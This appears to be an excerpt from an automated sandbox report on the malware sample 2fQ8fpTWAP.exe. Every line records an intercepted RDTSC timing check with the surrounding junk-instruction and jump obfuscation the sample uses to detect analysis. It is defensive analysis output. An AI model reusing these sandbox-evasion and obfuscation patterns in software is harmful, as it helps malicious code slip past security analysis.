Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 81B913 second address: 81B976 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7A2D39F177h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007F7A2D39F16Ah 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 jc 00007F7A2D39F195h 0x00000017 jmp 00007F7A2D39F176h 0x0000001c jmp 00007F7A2D39F179h 0x00000021 push eax 0x00000022 push edx 0x00000023 push edi 0x00000024 pop edi 0x00000025 push eax 0x00000026 pop eax 0x00000027 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 81B976 second address: 81B980 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F7A2CC6ACE6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 81B980 second address: 81B9C0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F7A2D39F172h 0x00000008 jmp 00007F7A2D39F176h 0x0000000d jmp 00007F7A2D39F16Ah 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 push ecx 0x00000016 pop ecx 0x00000017 jc 00007F7A2D39F166h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 81B9C0 second address: 81B9D8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7A2CC6ACF4h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 81BC8F second address: 81BCB1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7A2D39F16Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push esi 0x0000000a jmp 00007F7A2D39F16Ch 0x0000000f pushad 0x00000010 popad 0x00000011 pop esi 0x00000012 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 823872 second address: 823897 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F7A2CC6ACF1h 0x0000000c jmp 00007F7A2CC6ACEDh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 82266E second address: 822672 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 822672 second address: 822694 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push edi 0x00000009 pushad 0x0000000a popad 0x0000000b pushad 0x0000000c popad 0x0000000d pop edi 0x0000000e js 00007F7A2CC6ACEAh 0x00000014 push edx 0x00000015 pop edx 0x00000016 pushad 0x00000017 popad 0x00000018 popad 0x00000019 js 00007F7A2CC6AD32h 0x0000001f pushad 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 822694 second address: 8226D7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F7A2D39F170h 0x00000009 jmp 00007F7A2D39F177h 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F7A2D39F16Fh 0x00000016 js 00007F7A2D39F166h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 822AB6 second address: 822ABA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 822ABA second address: 822AC0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 822AC0 second address: 822ACD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 822C4B second address: 822C54 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 822C54 second address: 822C58 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 82325A second address: 823277 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7A2D39F174h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push esi 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 8236E4 second address: 823724 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F7A2CC6ACF5h 0x00000009 popad 0x0000000a jmp 00007F7A2CC6ACF9h 0x0000000f popad 0x00000010 pushad 0x00000011 pushad 0x00000012 js 00007F7A2CC6ACE6h 0x00000018 push ecx 0x00000019 pop ecx 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 8292C9 second address: 8292D9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F7A2D39F16Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 8292D9 second address: 8292DD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 8292DD second address: 8292E3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 8292E3 second address: 829302 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b jo 00007F7A2CC6ACE6h 0x00000011 jmp 00007F7A2CC6ACEEh 0x00000016 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 829302 second address: 829325 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F7A2D39F179h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 829325 second address: 829363 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7A2CC6ACF9h 0x00000007 ja 00007F7A2CC6ACE6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 jmp 00007F7A2CC6ACECh 0x00000015 jg 00007F7A2CC6ACE6h 0x0000001b jnp 00007F7A2CC6ACE6h 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 828052 second address: 82805A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push edi 0x00000007 pop edi 0x00000008 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 82805A second address: 82808A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7A2CC6ACEAh 0x00000007 jmp 00007F7A2CC6ACEDh 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F7A2CC6ACF3h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 827DBF second address: 827DC9 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F7A2D39F166h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 82B671 second address: 82B68B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F7A2CC6ACE6h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F7A2CC6ACEDh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 82E74E second address: 82E776 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F7A2D39F174h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jnp 00007F7A2D39F16Eh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 82DF9C second address: 82DFBC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a jmp 00007F7A2CC6ACF6h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 82DFBC second address: 82E019 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jnl 00007F7A2D39F166h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push esi 0x0000000e pop esi 0x0000000f jmp 00007F7A2D39F171h 0x00000014 jmp 00007F7A2D39F178h 0x00000019 popad 0x0000001a jmp 00007F7A2D39F179h 0x0000001f popad 0x00000020 pushad 0x00000021 pushad 0x00000022 jng 00007F7A2D39F166h 0x00000028 push eax 0x00000029 push edx 0x0000002a rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 82E019 second address: 82E024 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 82E024 second address: 82E028 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 82E1CF second address: 82E1E2 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F7A2CC6ACE6h 0x00000008 ja 00007F7A2CC6ACE6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 82E1E2 second address: 82E1E8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 82E47B second address: 82E481 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 79DB9B second address: 79DBBE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7A2D39F179h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c push esi 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 79DBBE second address: 79DBC4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 79DBC4 second address: 79DBCD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 79DBCD second address: 79DBD1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 79DBD1 second address: 79DBDB instructions: 0x00000000 rdtsc 0x00000002 jns 00007F7A2D39F166h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 832835 second address: 832841 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jbe 00007F7A2CC6ACE6h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 832841 second address: 83286D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 pushad 0x00000008 popad 0x00000009 jl 00007F7A2D39F166h 0x0000000f pop esi 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 jnp 00007F7A2D39F168h 0x00000019 push ecx 0x0000001a pop ecx 0x0000001b jmp 00007F7A2D39F171h 0x00000020 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 83286D second address: 832872 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 832872 second address: 832878 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 8329BE second address: 8329DD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push ecx 0x00000008 jmp 00007F7A2CC6ACF5h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 8329DD second address: 8329F3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 js 00007F7A2D39F166h 0x0000000e jno 00007F7A2D39F166h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 8329F3 second address: 832A03 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 jc 00007F7A2CC6ACF8h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 832A03 second address: 832A13 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F7A2D39F16Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 832B9C second address: 832BA0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 832BA0 second address: 832BC2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 push edx 0x00000008 jmp 00007F7A2D39F16Ch 0x0000000d push edx 0x0000000e jmp 00007F7A2D39F16Bh 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 832E99 second address: 832E9F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 832E9F second address: 832EAD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7A2D39F16Ah 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 837671 second address: 83768B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pushad 0x00000006 push edx 0x00000007 pop edx 0x00000008 pushad 0x00000009 popad 0x0000000a pushad 0x0000000b popad 0x0000000c jnp 00007F7A2CC6ACE6h 0x00000012 popad 0x00000013 pop eax 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 push ecx 0x00000019 pop ecx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 83768B second address: 83768F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 83768F second address: 8376A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F7A2CC6ACF1h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 8376A6 second address: 8376AD instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 8377F4 second address: 8377FB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 837ABC second address: 837ACB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jbe 00007F7A2D39F166h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 837ACB second address: 837ACF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 837ACF second address: 837AD3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 837AD3 second address: 837ADF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007F7A2CC6ACE6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 837C55 second address: 837C5B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 837C5B second address: 837C6D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jns 00007F7A2CC6ACE8h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 837C6D second address: 837C75 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 837DF5 second address: 837E01 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 jo 00007F7A2CC6ACE6h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 84413A second address: 84413F instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 7A9855 second address: 7A9895 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 jnc 00007F7A2CC6ACE8h 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F7A2CC6ACF6h 0x00000012 pushad 0x00000013 jne 00007F7A2CC6ACE6h 0x00000019 pushad 0x0000001a popad 0x0000001b jmp 00007F7A2CC6ACF1h 0x00000020 popad 0x00000021 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 841FC0 second address: 841FC4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 84281E second address: 842843 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F7A2CC6ACE6h 0x0000000a popad 0x0000000b popad 0x0000000c pushad 0x0000000d jng 00007F7A2CC6ACEEh 0x00000013 push eax 0x00000014 push edx 0x00000015 push ecx 0x00000016 pop ecx 0x00000017 jg 00007F7A2CC6ACE6h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 842843 second address: 842847 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 842847 second address: 842858 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push edx 0x00000008 pop edx 0x00000009 js 00007F7A2CC6ACE6h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 842B4E second address: 842B54 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 842B54 second address: 842B8E instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F7A2CC6ACF4h 0x00000008 jmp 00007F7A2CC6ACF9h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push esi 0x00000010 jc 00007F7A2CC6ACECh 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 842ED1 second address: 842ED7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 842ED7 second address: 842EDC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 843199 second address: 84319D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 84319D second address: 8431AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 jbe 00007F7A2CC6ACE6h 0x0000000f pop edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 8437B1 second address: 8437BD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007F7A2D39F166h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 843A57 second address: 843A90 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push esi 0x00000007 pop esi 0x00000008 jbe 00007F7A2CC6ACE6h 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F7A2CC6ACF8h 0x00000016 jmp 00007F7A2CC6ACF0h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 843A90 second address: 843ABA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7A2D39F16Dh 0x00000007 push esi 0x00000008 pop esi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F7A2D39F16Fh 0x00000012 jo 00007F7A2D39F166h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 843ABA second address: 843ADC instructions: 0x00000000 rdtsc 0x00000002 js 00007F7A2CC6ACE6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b pushad 0x0000000c pushad 0x0000000d jns 00007F7A2CC6ACE6h 0x00000013 push esi 0x00000014 pop esi 0x00000015 pushad 0x00000016 popad 0x00000017 js 00007F7A2CC6ACE6h 0x0000001d popad 0x0000001e push eax 0x0000001f push edx 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 843ADC second address: 843AE0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 843E4B second address: 843E59 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F7A2CC6ACE8h 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 843E59 second address: 843E5F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 843E5F second address: 843E63 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 849957 second address: 849965 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F7A2D39F16Ah 0x00000009 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 849965 second address: 849969 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 79892D second address: 798934 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 84CCAF second address: 84CCB5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
